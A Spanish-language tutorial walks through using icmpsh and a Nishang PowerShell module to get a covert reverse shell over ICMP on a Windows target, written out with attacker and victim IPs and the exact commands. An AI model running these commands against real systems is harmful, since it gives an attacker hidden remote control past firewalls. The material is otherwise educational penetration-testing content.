icmpsh es un simple shell inverso ICMP con un esclavo win32 y un maestro POSIX compatible en C, Perl o Python. Veamos un ejemplo práctico…
Por lo general utilizamos un shell reverse/inverso cuando una máquina se conecta a usted en lugar de conectarse a ella. De todos modos se obtiene una conexión remota.
La mayoría de los sistemas en redes internas utilizan firewalls y proxies corporativos para controlar el tráfico de Internet entrante y saliente. Los cortafuegos pueden bloquear las conexiones TCP. Sin embargo, la mayoría de las veces el tráfico ICMP está permitido. Por lo tanto, es posible utilizar este protocolo como un canal encubierto para obtener un shell y ejecutar comandos remotamente en un host de destino.
1. Conociendo icmpsh
icmpsh es un simple shell ICMP inverso con un esclavo win32 y un maestro POSIX (Portable Operating System Interface) compatible en C, Perl o Python. La principal ventaja sobre las otras herramientas de código abierto similares es que no requiere privilegios administrativos para ejecutarse en la máquina de destino.
El esclavo (cliente) se ejecuta en la máquina Windows (funciona solo en Windows) de destino, está escrito en C, mientras que el maestro (servidor) puede ejecutarse en cualquier plataforma en la máquina atacante.
La herramienta icmpsh se puede usar para realizar este ataque de manera efectiva. Bernardo Damele lo importó a su herramienta sqlmap que se puede activar con el parámetro –-os-pwn.
2. Preparando el Ataque
Para tener una idea clara de cómo funciona, les mostraré un caso práctico:
- Primeramente descargamos icmpsh desde Github (en el esclavo/cliente y en el maestro/servidor)
- El archivo ejecutable (.EXE) lo dejamos en Windows, y los otros archivos lo llevamos al ordenador atacante (Kali Linux para este ejemplo)
- IP de la víctima: 192.168.1.41
- IP del atacante: 192.168.1.42
3. icmpsh al ataque
Y empezamos! Los siguientes comandos desactivarán todas las respuestas echo del ICMP, lo cual es esencial para que la herramienta funcione correctamente y comenzará un escucha en espera de los paquetes ICMP del host de destino:
sysctl -w net.ipv4.icmp_echo_ignore_all=1
python icmpsh_m.py
El repositorio GitHub de la herramienta icmpsh contiene un archivo binario que debe transferirse y ejecutarse en el host de destino (EXE). El siguiente comando enviará tráfico ICMP al host maestro:
//IP del atacante
icmpsh.exe -t 192.168.1.42
Finalmente, se recibirá un shell a través de ICMP y los comandos se pueden ejecutar a través de este canal.
4. Alternativas
- Script automático
Daniel Compton desarrolló un script para automatizar el proceso. La única entrada que requiere este script es la dirección IP del host de destino. Este script está contenido en el repositorio antes mencionado.
Hay varias otras herramientas que existen en línea como alternativas para realizar comandos y control sobre ICMP como PiX-C2.
- Con PowerShell
El framework de Nishang contiene un módulo PowerShell que se puede usar en combinación con el script python de icmpsh para obtener un shell a través de ICMP. En el host maestro, el siguiente comando esperará todos los paquetes ICMP entrantes.
python icmpsh_m.py
En el host de destino, el módulo PowerShellIcmp solo requiere la dirección IP maestra:
Import-Module .\Invoke-PowerShellIcmp.ps1
Invoke-PowerShellIcmp
Finalmente, la conexión se recibirá desde el host maestro.
En resumen, hemos visto algunos métodos para realizar un shell reverse a través de ICMP y conectar remotamente a Windows (ya publicaremos más métodos y otras formas que encontrarás en esta sección). Si tienen alguna duda lo comentan y por favor compartan la publicación con los demás 😉